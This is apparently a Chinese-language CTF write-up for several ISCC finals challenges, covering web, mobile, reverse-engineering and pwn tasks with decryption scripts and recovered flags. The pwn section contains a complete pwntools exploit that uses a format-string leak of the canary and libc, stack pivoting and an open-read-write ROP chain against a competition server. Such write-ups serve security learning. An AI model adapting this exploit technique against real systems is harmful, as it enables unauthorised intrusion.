(在我们网安圈,打pycc的人是不能上桌吃饭的)
图片炸了,暂时不修了(绝对不是因为我太懒了

总决赛部分WP

WEB

谁动了我的奶酪

输入tom得到一段Php源码,通过clue构建payload得到提示flag_of_cheese

再根据提示构建下一个payload

得到这样一串东西,base64解密发现半段flag

输入tom的Php文件名base64后是oneCheese,猜测twoCheese并用base64编码后得到一个新的php

输入后发现不行,需要权限,在F12注释栏内有提示

提示的是一串解码后为Jerry_Loves_Cheese的字符

抓了一下包发现用了jwt,于是上官网修改了cookie和token再次进入发现有这样一串代码

将其xor 0x16后得到后半段

ISCC{ch33se_th!ef_!5_the_0n3_beh!no1_the_w@11s}

Mobile

GGAD

在jadx里分析一下代码就能得知加密逻辑是一个维吉尼亚+一个RC4

分别在ggad.b,ggad.c中提取需要解密的字符

rc4的key是呼神唤卫ExpectoPatronum

脚本让ai生成一个就行

最后跑出来的是长这样的

ISCC{R3v3!0&N1ffl3r}

叽米是梦的开场白

解压apk发现有3个so文件,一个一个看

在 libmobile04.so 里面找到这样一串东西,一眼dex

给他存下来

拿到jadx里面打开看看,发现有一串byte要解密

找到密文了,密钥在哪里找呢

在libsunday.so里的Java_com_example_mobile04_Sunday_getKey可以明显发现一串很像密钥的,拿出来试试看看

有点像但不确定,先留着

另外一串密文需要在libmonday.so里找

是一段位移+异或的逻辑

难点来了,要在assest里的一个enreal文件里运用到上文的逻辑进行解密

解密完之后放到ida里可以发现这样的两组数据

5UDecUJ4MKKJTuK3SVTfClQy

0xC675772F92E53579

不用想肯定是另外一组密文和密钥了

解密得到另外一串字符

拼接起来就是flag了

Reverse

uglyCPP

狮山代码就丢给ai分析

主要逻辑

  1. 初始化数据:
    1. 创建一个包含9个整数的数组v12,这些是硬编码的特定值
    2. 使用这些值初始化一个vector v11
  2. 大小比较:
    1. 首先比较输入vector a2的大小与内部vector v11的大小
    2. 如果大小不同,直接输出换行并返回
  3. 元素比较:
    1. 如果大小相同,则逐个比较两个vector中的元素
    2. 使用迭代器遍历两个vector,比较对应位置的元素值
    3. 如果发现任何不匹配的元素,就跳出循环
  4. 输出结果:
    1. 无论比较是否成功,都会输出一个换行符
    2. 没有明显的成功/失败指示,只是输出换行

分析完之后可以理一下整体的逻辑

  1. 反向字符替换
  2. 字符串转十六进制(小端序)
  3. 异或加密(flag_hex ^ key = encrypted)

所以写脚本的逻辑就是让他整体反一下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
# 异或密钥和密文
xor_key = [0x3ED6325B, 0xD709BF17, 0xE3F27E18, 0xA0870791, 0x146D6F9, 0x7C6140FF, 0x10B69406, 0x94DDE0F6, 0x40B2BB6C]
xor_encrypted = [0x0B8E4215, 0x9459F879, 0x0D3BA0765, 0x92C948C2, 0x503CB982, 0x241922B6, 0x62C6E731, 0x0FB90B5B5, 0x2284F118]

# 1. 异或解密
xor_result = []
for i in range(len(xor_key)):
xor_result.append(hex(xor_key[i] ^ xor_encrypted[i]))

print("XOR Result (hex):", xor_result)

# 2. 十六进制转字符串(小端序处理)
decoded_flag = ""
for hex_str in xor_result:
hex_str = hex_str[2:] # 移除 '0x'
# 补齐前导零,确保 8 个字符(4 字节)
hex_str = hex_str.zfill(8)
# 每 2 个字符一组转换为字节,并反转
chunk = ""
for i in range(0, len(hex_str), 2):
byte = int(hex_str[i:i+2], 16)
chunk += chr(byte)
decoded_flag += chunk[::-1] # 反转 4 字节块

print("Decoded Flag (after XOR and LE conversion):", decoded_flag)

# 3. 字符替换(类似于凯撒密码或置换密码)
# 定义字符映射表
original_chars = "1234567890abcdefghijklmnopqrstuvwxyz"
mapped_chars = "vfw8xgy4zh9i2j0k5lam1nbo6pcq3rds7teu"

final_flag = ""
for c in original_chars:
index = mapped_chars.index(c) # 找到 original_chars 中的字符在 mapped_chars 的位置
final_flag += decoded_flag[index] # 用该位置从 decoded_flag 取字符

print("Final Flag:", final_flag)

ISCC{7t5HNzxpM6pGy0O2oQbXsrUoJbNXnP}

CrackMe

借助AI分析各个无名函数得到主要加密逻辑

是XOR + 凯撒密码 +标准RC4

密文在这

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
def rc4(key, data):
# Key-scheduling algorithm (KSA)
S = list(range(256))
j = 0
for i in range(256):
j = (j + S[i] + key[i % len(key)]) % 256
S[i], S[j] = S[j], S[i] # Swap

# Pseudo-random generation algorithm (PRGA)
i = j = 0
result = bytearray()
for char in data:
i = (i + 1) % 256
j = (j + S[i]) % 256
S[i], S[j] = S[j], S[i] # Swap
t = (S[i] + S[j]) % 256
result.append(char ^ S[t])
return result


def main():
# Replace this with your actual ciphertext
flag = bytes([
28, 184, 46, 71, 221, 114, 28, 162, 222, 19,
71, 70, 154, 240, 41, 129, 212, 230, 221, 238,
85, 154, 17, 40, 23, 107, 175, 232, 215, 36,
247, 63, 233, 21, 121, 23, 244, 145, 156, 254,
53, 116
])

key = b"SecretKey"

# Step 1: RC4 decryption
decrypted = rc4(key, flag)

# Step 2: Caesar shift (ROT-3)
for i in range(len(decrypted)):
char = decrypted[i]
if ord('a') <= char <= ord('z'):
decrypted[i] = (char - ord('a') + 26 - 3) % 26 + ord('a')
elif ord('A') <= char <= ord('Z'):
decrypted[i] = (char - ord('A') + 26 - 3) % 26 + ord('A')

# Step 3: XOR every other character with 65 and print
result = []
for i in range(0, len(decrypted), 2):
result.append(chr(decrypted[i] ^ 65))

print(''.join(result))


if __name__ == "__main__":
main()

PWN

Dilemma

Func_1 格式化字符串漏洞来泄露canary和libc ,func1第二个输入可以随便输,输完后退出func1,输入2进入func0

禁用了execve考虑打orw

Func0有0x100字节大小的输入,栈迁移打orw

先迁到bss段 ,把./flag.txt字符串写到bss段上面去,再使用0x100字节大小的输入

最后覆盖返回地址打orw

EXP:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
from pwn import*
#p = process('./pwn')
p = remote('101.200.155.151',12500)
elf = ELF('./pwn')
libc = ELF('/home/flower/桌面/glibc-all-in-one/libs/2.35-0ubuntu3.9_amd64/libc.so.6'
')
context(arch='amd64',log_level='debug',os='linux')
pop_rdi = 0x000000000040119a
ret = 0x000000000040101a
bss = 0x404000 + 0x900
pop_rsi_r15 = 0x000000000040119c
p.recvuntil("where are you go?\n")
p.sendline("1")
p.recvuntil("Enter you password:\n")
payload = b'%39$p%11$p'
#gdb.attach(p)
p.sendline(payload)
p.recvuntil("0x")
libc_base = int(p.recv(12),16) - 128 - libc.sym['__libc_start_main']
p.recvuntil("0x")
canary = int(p.recv(16),16)
p.recvuntil("I will check your password:")
p.send("a"*8)
p.recvuntil("where are you go?\n")
p.sendline("2")
p.recvuntil("We have a lot to talk about\n")
payload = b'a'*0x28 + p64(canary) + p64(bss+0x30) + p64(0x4011C9)
p.send(payload)
p.recvuntil("a"*0x28)
pop_rdx_r12 = 0x000000000011f2e7 + libc_base
open = libc_base + libc.sym['open']
read = libc_base + libc.sym['read']
write = libc_base + libc.sym['write']
payload2 = b'./flag.txt'
payload2 = payload2.ljust(0x28,b'\x00') + p64(canary) + p64(0) + p64(pop_rdi) + p64(bss) + p64(pop_rsi_r15) + p64(0) + p64(0) + p64(open)
payload2 += p64(pop_rdi) + p64(3) + p64(pop_rsi_r15) + p64(bss+0x200) + p64(0) + p64(pop_rdx_r12) + p64(0x50) + p64(0) + p64(read)
payload2 += p64(pop_rdi) + p64(1) + p64(pop_rsi_r15) + p64(bss+0x200) + p64(0) + p64(pop_rdx_r12) + p64(0x50) + p64(0) + p64(write)
print(hex(len(payload2)))
#gdb.attach(p)
p.send(payload2)
p.interactive()